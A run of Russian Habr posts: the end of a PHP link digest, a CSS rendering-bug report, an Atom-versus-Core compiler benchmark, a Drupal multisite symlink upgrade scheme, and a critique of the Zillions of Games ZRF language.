+ [Как устроены реляционные базы данных](http://coding-geek.com/how-databases-work/) — Отличная подробная статья.
+ [SQL style guide](http://www.sqlstyle.guide/) — Отличный стандарт для стиля SQL.
+ [Взаимные блокировки (deadlocks) не опасны](http://markus.malkusch.de/blog/malkusch/entry/deadlocks-are-not-dangerous-just) — Полезный пост о транзакциях и блокировках.
+ [Об ограничениях GROUP\_CONCAT в MySQL](http://seld.be/notes/mysql-s-group-concat-limitations-and-cascading-bad-luck)
* [Работа с фронтендом на PHP без Nodejs](http://www.sitepoint.com/look-ma-no-nodejs-a-php-front-end-workflow-without-node/) — Об использовании [BowerPHP](https://github.com/Bee-Lab/bowerphp), [markstory/mini-asset](https://github.com/markstory/mini-asset) и [Robo](http://robo.li/) вместо Nodejs-инструментов.
* [Переосмысление Event Listeners](http://mmoreram.com/blog/2015/08/20/re-thinking-event-listeners) — Логику не стоит писать в обработчике события.
* [Избегайте захардкоженных статус кодов HTTP](https://philsturgeon.uk/http/2015/08/16/avoid-hardcoding-http-status-codes/)
* [Создаем моки объектов с помощью Go! AOP](https://ashajjar85.wordpress.com/2015/08/16/mocking-objects-for-unit-testing-in-php-using-go-aop/) — Об использовании [Go! AOP framework](http://go.aopphp.com) в тестах.
* [6 правил создания быстрых веб-приложений](http://loige.co/6-rules-of-thumb-to-build-blazing-fast-web-applications/)
* [Туториал по созданию самого простого роутера](https://medium.com/@dylanbr/building-a-basic-router-b43c17361f8b)
* [Экономим память благодаря использованию генераторов](http://evertpot.com/switching-to-generators/)
* [Введение в Elasticsearch на PHP](http://www.sitepoint.com/introduction-to-elasticsearch-in-php/)
* [Классы-сервисы](http://blog.revathskumar.com/2015/08/php-service-classes.html) — Описан небольшой рефакторинг на примере Yii 1. В другом [посте](http://paul-m-jones.com/archives/6172) предложено улучшение.
* [Безопасное шифрование данных в веб-приложениях на PHP](https://paragonie.com/white-paper/2015-secure-php-data-encryption)
* [Тестирование содержимого PDF-документа с помощью Behat](http://matmati.net/testing-pdf-with-behat-and-php)
* [Как разрабатывать на PHP с помощью Docker](https://www.jverdeyen.be/docker/how-php-symfony-coreos-docker/)
* [Об HTTP-заголовках в PSR7](https://mwop.net/blog/2015-07-28-on-psr7-headers.html)
* [Event Loops — Multi-Process PHP](https://medium.com/@assertchris/event-loops-84978080389c) — Об использовании многопоточных решений с популярными event loop библиотеками [Icicle](https://github.com/icicleio), [ReacPHP](https://github.com/reactphp).
* [Extremely Defensive PHP](https://ocramius.github.io/extremely-defensive-php/#/) — Полезные рекомендации в слайдах от [Marco Pivetta](http://ocramius.github.io/).
* [Ускоряем приложение с помощью кэша на Redis](http://www.sitepoint.com/speeding-up-existing-apps-with-a-redis-cache/)
*  [Эффективное использование интерфейсов в PHP](http://den.bz/article/using-interfaces-effectively-in-php.html)
*  [Фабрика должна только создавать, а не сохранять](http://den.bz/article/a-factory-should-create-not-retain.html)
*  [Комментирование кода и генерация документации в PHP](http://stfalcon.com/blog/post/php-code-commenting-and-docs-generation)
*  [Как ускорить работу сайта, используя кэширующий прокси-сервер Varnish](http://stfalcon.com/blog/post/how-to-speed-site-up-using-varnish-cashing-proxy-server)
*  [Сравнение производительности автозагрузки и объединения классов в один файл](http://seyferseed.ru/ru/php/sravnenie-proizvoditelnosti-avtozagruzki-i-obedineniya-klassov-v-odin-fajl.html#sthash.kap4rXYV.dpbs)
*  [Сравнение скорости исполнения кода Drupal для PHP 5.3-5.6 и 7.0. «Битва оптимизаторов кода» apc vs xcache vs opcache](http://habrahabr.ru/post/264775/)
*  [ReactPHP ускоряет PHPixie в 8 раз](http://habrahabr.ru/post/264725/)
*  [Быстрый старт с PHPixie 3](http://habrahabr.ru/post/263551/)
*  [Правильное использование Exception’ов в PHP](http://habrahabr.ru/post/264417/)
### Аудио и видеоматериалы
* [Туториал для начинающих по разработке PHP-расширений](https://www.youtube.com/watch?v=5FoHyfu8meM)
* [Введение в Clojure для PHP-разработчиков](https://vimeo.com/93032607) — [От PHP к Clojure](http://habrahabr.ru/post/264005/)  .
*  [Пятиминутка PHP Выпуск №13 — PHPixie](http://5minphp.ru/episode13/)
* [Пятиминутка PHP Выпуск №14 — Functional](http://5minphp.ru/episode14/)
### Занимательное
* [Обновлённая статистика популярности языков программирования на GitHub](https://github.com/blog/2047-language-trends-on-GitHub) — PHP — значит стабильность.
* [phpversions.info](http://phpversions.info/) — На сайте собрана информация о версиях PHP доступных на популярных хостингах.
* [HAPHPY BIRTHDAY](http://haphpy-birthday.net/) — Энтузиасты готовят поздравительное видео в честь 20-летия PHP и принимают от всех желающих видео и изображения связанные с PHP.
* [PHP 7 logo downloads](http://www.cowburn.info/2015/06/18/php7-logo/)
* [A Field Guide to Elephpants](http://afieldguidetoelephpants.net/) — Руководство по PHP-слоникам.
Спасибо за внимание!
Если вы заметили ошибку или неточность — сообщите, пожалуйста, в [личку](http://habrahabr.ru/conversations/pronskiy/).
[Присылайте ссылки](http://bit.ly/php-digest-add-link) на интересные статьи или полезные инструменты, которых [не было в PHP-Дайджестах](http://pronskiy.github.io/php-digest/), и ваше имя будет рядом с присланной ссылкой в выпуске.
[Прислать ссылку](http://bit.ly/php-digest-add-link)
[Быстрый поиск по всем дайджестам](http://pronskiy.github.io/php-digest/)
← [Предыдущий выпуск](http://habrahabr.ru/company/zfort/blog/263601/) | https://habr.com/ru/post/265291/ | null | ru | null |
# Ошибка в большинстве браузеров
##### Предыстория :
Как то неожиданно появился заказ на создание интересного эффекта на сайте. Работа вроде и простая но и в одно время требовала немного подумать. Сам я занимаюсь уже 3 года версткой. И ничего подобного не делал. Оценил разработку и согласился. Но тут меня ждали подводные камни и ошибка которую я обнаружил в 1 варианте затрагивает браузеры Opera Next (12.00 alpha b.1351). Что же касается Google Chrome 19 (dev) и Mozilla FF 11 (release), IE9-10 — тут все в порядке. Во 2 варианте сдался Chrome.
##### Часть 1я. Прелюдия.
И так суть бага заключается в: ошибках разбора Opera Presto rendering engine 2.10 и каком то движке IE. Баг очень редкий так как комбинация подобных правил css2 и css3 очень редка.
Заглянем на официальную [страницу Presto](http://www.opera.com/docs/specs/presto2.10/css/backgroundsborders/).
Мы видим полную поддержку css3 [border-radius](http://htmlbook.ru/css/border-radius).
Напишем достаточно простой html код:
[ссылка на код.](http://dumpz.org/191685/)
И так задача, нам нужен блок размером 150х150px с,
> `overflow:hidden;`
а внутри блок с размером 400х400px казалось бы в чем загвоздка? Ведь многие кто делал сам «карусели», использовал данное свойство.
Результат во всех браузерах ожидаемый ( [ссылка на пример](http://jsfiddle.net/LjJR7/) ):
Вот тут подходим к сути ошибки, мне потребовались «окошки», я решил не резать кучу картинок, а просто воспользоваться css3 свойством добавив к классам **.p1** и **.p2** :
> `border-radius:100%;`
которое работает во всех последних версия популярных браузеров.
Вот тут то и пошла жара.
Написав подобный код я увидел: в Chrome 19 и FF 12, и в IE вполне ожидаемый результат:
Открыв Opera Next 11 alpha, я обнаружил следующее ( [ссылка на пример](http://jsfiddle.net/gXGjs/) ):
### Что это? как? почему? — эти вопросы у меня возникли.
Ведь это комбинация стандартных свойств, которые полностью поддерживаются всеми браузерами.
##### Часть 2я. WTF?!
Но мало того мне понадобилось еще одно свойство, которое, мне показалось, что вполне комбинируемое хотя бы в Chrome и FF.
Но тут меня опять ждала большая печаль.
[Ссылка на код.](http://dumpz.org/191683/)
Добавив реальное позиционирование относительно текущего места сдался и Chrome 19 dev, Opera Next 11 также не подавала признаков жизни.
Результат Chrome,Opera ([ссылка на пример](http://jsfiddle.net/RDSuS/)):
А вот кто действительно удивил так это движок FF и IE он прошел испытание!
Хочу выразить спасибо [skobkin](https://habrahabr.ru/users/skobkin/) за дискуссию на данную тему.
##### Выводы :
Для себя я обнаружил что надо всегда следить и изучать поведение css «правил».
Увы я не нашел способ. Но! есть небольшой можно сказать хак для реального позиционирования это использовать свойства margin.
##### Я постарался сделать статью с обзором ошибки и думал о нормальной дискуссии на тему: «почему?». А получил лишь нытиков и педантов. Спасибо хабр!
##### Решил добавить к статье (спасибо [zapimir](https://habrahabr.ru/users/zapimir/)) :
Еще как важна, нужно понимать, что в IE несколько движков, и если нет doctype, то хоть в dev tools заглядывать нужно, прежде чем утверждать, что именно в IE 9, что-то не работает.
Вообще к сожалению различных косяков рендеринга хватает. И кстати как раз IE 9 радует вниманием к мелочам.
Вот к примеру такая банальная вещь, как border и border-radius. Вроде все давно это поддерживают, но если сделать к примеру тип границы dotted, то браузеры начинают чудить.
IE9 как по мне самый правильный рендеринг выдает (точки круглые и равномерно распределены по границе, не накладываясь друг на друга), Chrome считает, что точки при увеличении становятся четырехугольными. В Opera и FF точки накладываются в FF это особенно коряво выглядит.
Посмотреть можно на [этой странице.](http://sypex.net/habr/test_border)
*PS: Данная ошибка отправится в баг-трекер оперы и хрома.*
*PS2: Если вы нашли ошибку в статье просьба писать в личку.*
*PS3: Очень хочу чтобы мне написали в личку за что минусуем. Я люблю критику.*
*PS4: Я естественно тестировал с док тайпом. На реальном проекте. Он закрытый и я не могу показать ни его ТЗ ни его самого. Я все понимаю но обвинять в плевках сообществу меня не стоит.*
*PS5: Добавил док тайп и сделал валидный документ — ура!.*
*PS6: Шутка про png и jpeg не актуальна.*
*PS7: Чтоб не раздражать глаз код сделал изображениями и помести ссылки на соответствующий код.*
*PS8: Переместил примеры на jsfiddle.* | https://habr.com/ru/post/141262/ | null | ru | null |
# Когда Atom быстрее чем Core?
Наглухо застряв в пробке за рулем машины, теоретически способной развивать скорость более 200 км\ч, и глядя, как меня обгоняют велосипедисты ~~на трехколесных велосипедах~~, я задумалась… нет, не о том, как пересадить всех на велосипеды, и не о решении транспортных проблем человечества с помощью телепортации, а… о процессорах Intel Core и Intel Atom. А именно — Atom по сравнению с Core — это, фактически, мотороллер по сравнению с автомобилем. Он потребляет меньше топлива и стоит заметно дешевле. Но зато и скорость скутера столь же заметно уступает авто (несмотря даже на способы «разогнать» мотороллер выше заводских установок). Но, все же, в пробках или на узких улочках скутер оказывается быстрее. Недаром скутер получил свое название от английского «*to scoot*» — удирать, так как успешно использовался английскими подростками для спасения от полиции.
Теперь вернемся к CPU. Заменим «топливо» на «электричество», а «скорость» на «производительность», и получим полную аналогию поведения Inel Atom и Intel Core. Но тогда разумно предположить, что существуют такие «пробки»и «закоулки», в которых Atom обгонит Core. Давайте их поищем.
Итак, по всем общепринятым замерам производительности Intel Core существенно обгоняет Atom. В разделе «Производительность» [статьи про Intel Atom](http://en.wikipedia.org/wiki/Intel_Atom) в wikipedia читается суровый приговор: "*примерно половина производительности процессора Pentium M той же частоты*"
Если же сравнивать Atom именно с Core, то по [данным тестов tomshardware](http://www.tomshardware.com/reviews/d510mo-intel-atom,2616-8.html) Intel Core i3-530 побеждает Intel Atom D510 с разгромным счетом:
| | |
| --- | --- |
| 3DS MAX 2010 (рендеринг) | Core i3 быстрее в 4.36 раз |
| Adobe Acrobat 9 (создание pdf). | Core i3 быстрее в 4.55 раз |
| Photoshop CS4 (применение ряда фильтров) | Core i3 быстрее в 3.8 раз |
При этом, надо отметить, что tomshardware к Atom относится явно предвзято. Так, например, если время работы какой-то задачи на Core-i3 — 1:38, то именно так об этом и сообщается — «одна минута, 38 секунд». А если Atom исполняет что-то за 7:26, то это, по мнению авторов «около восьми минут». Но главное — сравнивать процессоры с разной тактовой частотой (2.93 GHz Core i3 и 1.66 GHz Atom ) и не делать поправку ~~на ветер~~ непоказательно. То есть, результат Core надо поделить на 2.93/1.66~1.76, что дает итоговый результат проигрыша Atom от 2.15 до 2.6 раз.
##### Почему Atom медленнее?
Быстрый ответ: потому что дешевле и энергоэкономичнее, что несовместимо с высокой производительностью.
Правильный ответ: Во-первых, потому, что у Atom сохранилась шина FSB, в то время как Core i3 имеет интегрированный в CPU контроллер памяти, что ускоряет доступ к данным. Кроме того, у Atom в четыре раза меньше размер кэш-памяти, а если данные не умещаются в кэш, то более медленный доступ к памяти сказывается на производительности по полной программе.
А во-вторых, микроархитектура Atom — это не Core2, использованная в Core i3, а [Bonnell.](http://en.wikipedia.org/wiki/Bonnell_(microarchitecture)) Вкратце, Bonnell -продолжатель идей Pentium, в нем имеется только 2 целочисленных ALU (против трех в Core), а главное, отсутствуют присущие Core изменение порядка инструкций ([instruction reordering](http://en.wikipedia.org/wiki/Out-of-order_execution)), переименование регистров ([register renaming](http://en.wikipedia.org/wiki/Register_renaming)), а также спекулятивное исполнение (speculative execution).
Откуда понятно, что чтобы помочь Atom обогнать Core, надо:
1. Взять ~~нанонабор~~ небольшой набор данных, так, чтобы он помещался в кэш.
2. Попробовать использовать float данные, чтобы загружать не ALU, a FPU
3. По возможности, лишить Core преимуществ неупорядоченного исполнения.
Поскольку с первыми двумя пунктами все ясно, можно запустить первые тесты.
Они проводились на имеющемся у меня Intel Core i5 2.53 GHz и уже упомянутом Atom D510, и представляли собой набор вызовов математических функций для float данных со встроенной оценкой производительности «количество функций в секунду», т.е. чем больше — тем лучше.
Тесты включали расчет тригонометрических функций как напрямую (C runtime, тест «x87»), так и разложением в ряд; с использованием кода мат.библиотеки Cephes; а также векторную реализацию через SSE intrinsic функции (тесты с окончанием \_ps). При этом, учитывая разницу тактовых частот, результаты масштабировались на 2.53/1.66~1.524
Тесты компилировались Microsoft Visual Studio 2008 с оптимизацией в release по умолчанию.
Полученные данные полностью подтверждают первое место Intel Atom с конца. То есть, цель не достигнута, переходим к следующему пункту — осложним работу Out-of-order CPU.
##### Усложняем задачу
Создадим искусственный тест, который будет содержать непредсказуемые ветвления, содержащие вычислительно тяжелые функции, так, чтобы результат спекулятивных вычислений Core постоянно отбрасывался, т.е. оказывался ненужной работой.
Примерно так:
```
int rnd= rand()/(RAND_MAX + 1.) * 3;
if (rnd%3==0) fn0();
if (rnd%3==1) fn1();
if (rnd%3==2) fn2();
```
Более того, функции будут состоять из цепочечных вычислений, так чтобы Core не мог путем переупорядочивания инструкций и переименования регистров посчитать что-то из таких выражений заранее, «вне очереди». Вот простейший пример подобного кода
```
for (i=0; i < N; ++i) {
y+=((x[i]*x[i]+ A)/B[i]*x[i]+C[i])*D[i];
}
```
Кстати, подобные функции и использованы в вышепоказанных тестах cephes\_logf и cephes\_expf, где преимущество Core минимально.
Но, несмотря на все препятствия, Core все равно оказался быстрее. Минимальный отрыв Core от Atom, который мне удалось получить различными комбинациями вычислений и случайностей — в целых два раза! То есть, Atom по-прежнему отстает.
Но если бы я на этом остановилась, то вы бы про это просто не узнали — пост бы не состоялся.
Следующим шагом была компиляция тестов с помощью Intel Compiler. Использовалась версия Composer XE 2011 update 9 (12.1) c настройками оптимизации Release по умолчанию — аналогично компилятору Microsoft.
На графике ниже приведены результаты работы вышеупомянутых тестов, включая добавленный мной rand, скомпилированные как VS2008, так и Intel Compiler.
Смотрите внимательно. Это — не обман зрения. Для четырех тестов точки зеленой линии, показывающие результат Atom для тестов, скомпилированных Intel Compiler, находится выше, чем точки бордовой — результат i5 для тестов, скомпилированных VS2008. То есть, Atom оказывается реально, более чем в два раза, быстрее на \_том же коде\_, что и Core i5.
Думаете, что это реклама компилятора Intel?
Абсолютно нет. Я не работаю ни в отделе рекламы, ни в компиляторной группе.
Это просто констатация того, что ваш оптимизированный код может выполняться на Atom гораздо быстрее, чем неоптимизированный на Core. Или — неоптимизированный на Core будет медленнее, чем оптимизированный на Atom.
Это — как раз те самые кочки и закоулки, которые мешают машине разогнаться.
Выводы можете сделать сами. | https://habr.com/ru/post/148306/ | null | ru | null |
# Простая схема деплоя мультисайтового друпала
Сразу оговорюсь что я во всем что касается друпала новичок и друпало-гуру пользователям наверно ничего нового не расскажу. Все нижеописанное есть результатом немногим больше годичной деятельности в области предоставления хостинга сайтов на друпале нескольким знакомым.
Думаю все знают, что друпал предоставляет такую прекрасную фичу как мультисайтовость — в папке sites создаете себе несколько папок с различными конфигами и смело натравляете все домены на одну папку с друпалом. Все гениально и просто ровно до того момента как выходит новая версия друпала — переносить папки в консоли мне было накладно, переписывать новый друпал поверх старого — как-то не по феншую, вот я и придумал следующую схемку
`drupal-6.13
drupal-6.14
drupal-6.15
drupal-6.15.tar.gz
drupal-stable
running
upgrade.rb`
главная папочка тут — running, именно там подпапки с сайтами, конфигами и разными модулями для сайтов. что там еще интересного? а вот что:
`cgi-bin
cron.php -> ../drupal-stable/cron.php
files
includes -> ../drupal-stable/includes
index.php -> ../drupal-stable/index.php
install.php -> ../drupal-stable/install.php
misc -> ../drupal-stable/misc
modules -> ../drupal-stable/modules
profiles -> ../drupal-stable/profiles
scripts -> ../drupal-stable/scripts
sites
themes -> ../drupal-stable/themes
update.php -> ../drupal-stable/update.php
xmlrpc.php -> ../drupal-stable/xmlrpc.php`
все что есть друпалом есть линком на папку drupal-stable. что у меня в папке drupal-stable?
`cron.php -> ../drupal-6.15/cron.php
includes -> ../drupal-6.15/includes
index.php -> ../drupal-6.15/index.php
install.php -> ../drupal-6.15/install.php
misc -> ../drupal-6.15/misc
modules -> ../drupal-6.15/modules
profiles -> ../drupal-6.15/profiles
scripts -> ../drupal-6.15/scripts
themes -> ../drupal-6.15/themes
update.php -> ../drupal-6.15/update.php
xmlrpc.php -> ../drupal-6.15/xmlrpc.php`
все в папке есть линками на последнюю версию друпала
ну и завершальный аккорд — файл [upgrade.rb](http://gist.github.com/261685):
файл смотрит в текущую директорию и перелинкивает drupal-stable до последней версии в папке
итого весь процесс обновления занимает 3 шага:
1. скачать последний друпал: wget [ftp.drupal.org/files/projects/drupal-6.15.tar.gz](http://ftp.drupal.org/files/projects/drupal-6.15.tar.gz)
2. разархивировать: tar -zxf drupal-6.15.tar.gz
3. ruby upgrade.rb
ну и надо еще на каждом сайте посетить страничку update.php (думаю тоже можно автоматизировать но на это я уже забил)
P.S. вот дописал до сего момента и думаю а зачем мне папка drupal-stable если можно сразу running линковать? вобщем если у кого найдется аргумент в пользу этой папки — ну и хорошо, а переделывать скрипты мне лень =) | https://habr.com/ru/post/78951/ | null | ru | null |
# Тёмная сторона ZRF
У тех, кто читал цикл моих [статей](http://habrahabr.ru/post/211100/), посвященных [Zillions of Games](http://zillionsofgames.com/), могло сложиться впечатление, что я полностью удовлетворен этим продуктом. Разумеется, это не так. ZoG уникален тем, что позволяет быстро и практически «на коленке» разработать прототип почти любой логической игры, но это вовсе не означает, что он идеален. Сегодня, я хочу рассказать о том, что мне не нравится в этом проекте.
Конечно, эта критика нужна не сама по себе. Я вполне отдаю себе отчет в том, что при полностью остановившейся разработке продукта (кстати, это один из тех моментов, которые мне не нравятся), подобная критика, как средство обратной связи с разработчиком, совершенно бесполезна. Поэтому, я не собираюсь писать каких либо писем создателям продукта — паровоз уже давно ушёл.
ZoG показал возможное направление действий, саму возможность создания подобного универсального игрового движка, но, если хочешь, чтобы что-то было сделано, делать это придется самому. Работа эта не простая и я совсем не уверен, что мне удастся с ней справиться (по крайней мере в одиночку). В любом случае, в качестве самого первого шага, будет полезно разобраться, чем плохо то, что уже имеется. Для чего затевать разработку нового продукта? Я постараюсь рассказать об этом…
По сравнению с тем многообразием всевозможных правил, о котором я рассказывал в предыдущей [статье](http://habrahabr.ru/post/219989/), концепция [Шахмат](http://ru.wikipedia.org/wiki/%D0%A8%D0%B0%D1%85%D0%BC%D0%B0%D1%82%D1%8B) выглядит очень простой. Отчасти, эта иллюзия поддерживается тем, что, большинство из нас, знакомо с Шахматами с раннего детства. Конечно, эта простота обманчива! И дело здесь даже не в экзотических правилах "[взятия на проходе](http://ru.wikipedia.org/wiki/%D0%92%D0%B7%D1%8F%D1%82%D0%B8%D0%B5_%D0%BD%D0%B0_%D0%BF%D1%80%D0%BE%D1%85%D0%BE%D0%B4%D0%B5)" и [рокировки](http://ru.wikipedia.org/wiki/%D0%A0%D0%BE%D0%BA%D0%B8%D1%80%D0%BE%D0%B2%D0%BA%D0%B0) (из-за которой в ZRF пришлось добавить команды **cascade** и **set-attribute**). Я предлагаю разобраться с более глубоким вопросом, лежащим в основе самой игры. Что должен делать Король, оказавшись под шахом?
Во первых, оставаться под шахом Король не может! Следующим ходом мы обязаны устранить угрозу (если это невозможно, ситуация имеет другое название — мат). Мы можем уйти Королем на поле не находящееся под боем, закрыться от шаха другой фигурой (это невозможно если шах поставлен Конем) или съесть атакующую фигуру. С последним вариантом все тоже не просто. Съесть атакующую фигуру Королем возможно только при условии, что она не защищена другой фигурой, а в случае двойного шаха, есть одну из атакующих фигур, не уводя Короля из под боя другой, также невозможно. Все это может показаться очевидным, но я хочу, чтобы было понятно, что реализация такого поведения может оказаться очень сложной. Как это реализуется в ZRF?
очень просто:
```
(loss-condition (White Black) (checkmated King))
```
Если в условии поражения игрока фигурирует волшебное слово **checkmated**, ядро программы **знает** как фиксировать мат, а, заодно, и то, как нужно уводить Короля из под шаха. Но подобное «зашивание» столь сложной логики в ядро продукта может оказаться не самой удачной мыслью, при реализации универсального движка. Само понятие мата имеется далеко не во всех играх семейства Шахмат, а уводить Короля из под «шаха» в них, все равно, приходится. Я уже рассказывал [ранее](http://habrahabr.ru/post/213391/), что логика обработки **checkmated**, может привести к не вполне адекватному поведению Короля, а отказ от использования этого условия, практически полностью ломает в ZoG всю игру в эндшпиле.
Вполне закономерно, что ситуация с правильным матованием осложняется в различных «национальных» разновидностях Шахмат. Так в [Сёги](http://ru.wikipedia.org/wiki/%D0%A1%D1%91%D0%B3%D0%B8), запрещено ставить мат сбросом пешки (при этом можно ставить мат обычным ходом пешки и шаховать сбросом пешки), а в [Шатар](http://ru.wikipedia.org/wiki/%D0%A8%D0%B0%D1%82%D0%B0%D1%80_%D0%B8_%D1%85%D0%B8%D0%B0%D1%88%D0%B0%D1%82%D0%B0%D1%80), процесс матования еще более запутан (например, нельзя ставить мат Конем). Очевидно, что возможностей одного единственного ключевого слова **checkmated** совершенно недостаточно для корректного описания правил этих игр.
С Шашками все тоже совсем не гладко. Главным отличием от Шахмат является обязательность взятия и возможность серии взятий. Для реализации этих правил, в ZRF введены частичные ходы (**add-partial**) и приоритеты ходов (**move-priorities**). Механизм приоритетов не очень удобен в использовании, но работает. Игрок не сможет выполнить не приоритетный ход, если имеет возможность приоритетного хода. Но на этом дело не ограничивается! В некоторых разновидностях Шашек (например в международных 100-клеточных Шашках), из всех возможных ходов со взятием, игрок должен выбрать вариант берущий максимальное количество фигур (при этом, особым образом могут учитываться или не учитываться дамки).
Эта логика вновь зашита в ядро:
```
(option "maximal captures" true)
```
Кроме этой опции, имеется ряд других опций, используемых AI ZoG:
* **«include off-pieces»** — включающая или отключающая учет фигур находящихся в резерве при определении условий победы и поражения
* **«pass partial»** — управляющая возможностью прерывания цепочки взятий, формируемой командой **add-partial**
* **«pass turn»** — управляющая возможностью пропуска хода
* **...**
В качестве управляющего параметра, опции передаётся булевское значение, включающее или отключающее опцию. Для некоторых опций, разрешено передавать значение **2** или **forced**. Например, следующая команда:
```
(option "maximal captures" 2)
```
… включает режим «максимального взятия» с учетом дамок.
Какой либо системы в списке предоставляемых опций нет. Более того, в том же списке присутствуют опции, не имеющие к AI никакого отношения, например "**animate captures**", "**highlight goals**", "**show moves list**",… Этот механизм вряд ли можно назвать универсальным.
Подобное отсутствие системного подхода проходит через весь ZRF «красной нитью». Например, для определения позиций типа «3 в ряд» имеется удобная команда **relative-config**. Вот как она используется в "[Крестиках-ноликах](http://ru.wikipedia.org/wiki/Zillions_of_Games)":
```
(win-condition (X O)
(or (relative-config man n man n man)
(relative-config man e man e man)
(relative-config man ne man ne man)
(relative-config man nw man nw man)
)
```
Просто и удобно. Проблема только в том, что эту команду разрешено использовать только внутри проверок завершения игры **win-condition**, **loss-condition** или **draw-condition**. Кроме того, она реагируют на любое возникновение указанной конфигурации (не важно на чьём ходу оно происходит). В результате, в реализации "[Мельницы](http://zillionsofgames.com/cgi-bin/zilligames/submissions.cgi?do=show;id=956)" приходится городить:
**трехэтажные проверки**
```
(define Check-for-3
(set-flag first? false)
(set-flag second? false)
(set-flag third? false)
(set-flag fourth? false)
a1
(while (and (on-board? next)(not-flag? fourth?))
(if friend?
(if (not-flag? first?)
(set-flag first? true)
else
(if (not-flag? second?)
(set-flag second? true)
else
(if (not-flag? third?)
(set-flag third? true)
else
(set-flag fourth? true)
)
)
)
)
next
)
(verify (not-flag? fourth?))
(if (am-Black?)
(change-type Jumping z0) ;set permanent flag
else
(change-type Jumping z1) ;set permanent flag
)
)
```
Чем-то подобным пришлось заниматься и мне, при реализации одного из вариантов [Thud](http://habrahabr.ru/post/212835/). А ведь возможность использования аналога **relative-config**, при выполнении хода, была бы очень полезна во многих играх, например в [Чатуранга](http://skyruk.livejournal.com/274559.html) с её «триумфом слонов». В [Hasami Shogi](http://en.wikipedia.org/wiki/Hasami_shogi) подобная возможность позволила бы корректно реализовать [сложные правила](http://www.youtube.com/watch?v=5EcpCGDu1Bw&list=PL587865CAE59EB84A) запирания фигур у края и в углу доски.
Еще одной крайне полезной возможностью могла бы стать реализация команд **mark/back** [без ограничения уровня вложенности](http://www.di.fc.ul.pt/~jpn/cv/ZRF2.htm). Команда **mark** запоминает текущую позицию в процессе рассчета хода, а **back** позволяет в нее вернуться. Казалось бы, что может быть естественней чем использование стека для сохранения позиций? Но нет, вложенные вызовы **mark** не поддерживаются! Жаль, было бы удобно…
Но, вернёмся к фундаментальному. Что происходит в Шахматах если мы ставим фигуру на поле, занятое фигурой противника? Это всем известно — фигура противника будет удалена с доски. Именно так все и реализовано в ZoG (и изменить такое поведение нельзя). Если мы даём команду **add** на занятом поле, то фигура, которая размещалась там ранее, будет удалена с доски. Выполнять команду **capture** при этом не нужно (более того, если мы выполним **capture**, будет удалена та фигура, которой мы ходим). Ячейка доски не может содержать более одной фигуры.
Но ведь это верно далеко не для всех игр! Например, в "[Русских шахматах](http://cyclowiki.org/wiki/%D0%A0%D1%83%D1%81%D1%81%D0%BA%D0%B8%D0%B5_%D1%88%D0%B0%D1%85%D0%BC%D0%B0%D1%82%D1%8B)" было бы гораздо удобнее хранить в ячейке доски упорядоченный список фигур. То же касается "[Столбовых шашек](http://ru.wikipedia.org/wiki/%D0%A1%D1%82%D0%BE%D0%BB%D0%B1%D0%BE%D0%B2%D1%8B%D0%B5_%D1%88%D0%B0%D1%88%D0%BA%D0%B8)". Конечно, я не могу сказать, что это послужило непреодолимым препятствием при реализации последних. Столбовые шашки были [реализованы](http://zillionsofgames.com/cgi-bin/zilligames/submissions.cgi?do=show;id=1767), но сложность решения не сказалась положительно ни на его производительности ни на качестве игры.
И это не единственная (и даже не самая главная) беда команды **add**! В ZRF, команды семейства **add** совмещают в себе две функции:
1. Указание поля на которое помещается фигура, выполнившая ход
2. Завершение формирования варианта (или части) хода
Вы уже понимаете в чем проблема? Из этого совершенно неуместного объединения двух принципиально различных действий в одной команде, немедленно следует, что ход (перемещение или сброс) должен завершаться постановкой своей фигуры на какое-то поле доски (при этом, могут быть съедены другие фигуры). Других вариантов нет! Попробуйте реализовать на ZRF [Андернах](http://en.wikipedia.org/wiki/Andernach_chess). Я пробовал трижды, ничего не получилось! Дело в том, что, в этом варианте игры, при взятии, фигура меняет цвет, на цвет взятой фигуры. Это означает, что ход мы завершаем уже не своей фигурой…
Стоило разработчикам разделить команду **add** на собственно команду постановки фигуры на доску и команду явного завершения хода (**end-move** например) и кучи проблем удалось бы избежать! Например, были бы возможны взятия фигур противника без перемещения своих фигур. Кстати, в ZSG (нотации ходов ZoG) такая возможность имеется, но используется она только для «первоначальной настройки» доски. В общем, этот момент, действительно, серьезно осложняет процесс разработки с использованием ZRF.
То, что ходить можно только своей фигурой, также не всегда верно. Например в "[Ставропольских шашках](http://ru.wikipedia.org/wiki/%D0%A8%D0%B0%D1%88%D0%BA%D0%B8#.D0.A1.D1.82.D0.B0.D0.B2.D1.80.D0.BE.D0.BF.D0.BE.D0.BB.D1.8C.D1.81.D0.BA.D0.B8.D0.B5_.D1.88.D0.B0.D1.88.D0.BA.D0.B8)", игрок может ходить фигурами противника. В ZRF этого можно добиться, сделав все фигуры нейтральными (принадлежащими третьему игроку, не участвующему в игре), но такое решение совсем не очевидно и довольно громоздко.
Еще одним недостатком ZRF является полное отсутсвие в нём каких либо арифметических операций. Это не страшно, пока мы ограничиваемся Шахматами и Шашками, но существуют игры, в которых выполнение арифметических действий необходимо, при рассчете хода! Конечно, я говорю о [Ритмомахии](https://en.wikipedia.org/wiki/Rithmomachy). Эта средневековая игра не особенно популярна в наше время, но она определенно бросает вызов универсальности игрового «движка». Вот при каких условиях может производиться бой фигур в этой игре:
* Если числовое значение совпадает со значением фигуры выполняющей бой
* Если результат умножения числового значения фигуры на количество пустых клеток, отделяющих её от фигуры противника, совпадает со значением этой фигуры
* Если числовое значение фигуры совпадает с суммой значений окруживших её фигур противника
* Если фигура окружена фигурами противника со всех четырёх сторон (по вертикали и горизонтали)
Арифметика может пригодиться не только при рассчете хода. В [этой](https://play.google.com/store/apps/details?id=air.hirobado.mod) игре, например, для определения победителя, требуется рассчитать площадь всех квадратов, построенных на доске. Также, может быть полезна возможность связывания с фигурами и полями доски числовых значений (например hitpoint-ов). ZRF позволяет привязывать к фигурам только булевские значения (атрибуты), что касается полей, булевские флаги, привязываемые к ним, могут быть использованы только локально, при рассчете хода. Глобальные числовые значения (не привязанные к полям или фигурам), могли бы быть использованы для реализации разнообразных счетчиков (например игрового времени).
В стандартном ZoG нет таких возможностей, но они реализованы в [Axiom Development Kit](http://zillionsofgames.com/cgi-bin/zilligames/submissions.cgi?do=show;id=1452). Об этом стоит рассказать подробнее. Дело в том, что ZoG позволяет использовать [расширения](http://zillionsofgames.com/progsample.html), которые можно разрабатывать, например, с использованием С++. Платой за использование таких расширений является полный отказ от использования встроенного AI ZoG. Фактически, расширение использует ZoG исключительно как средство визуализации ходов. При разработке такого расширения, об AI приходится заботиться самостоятельно.
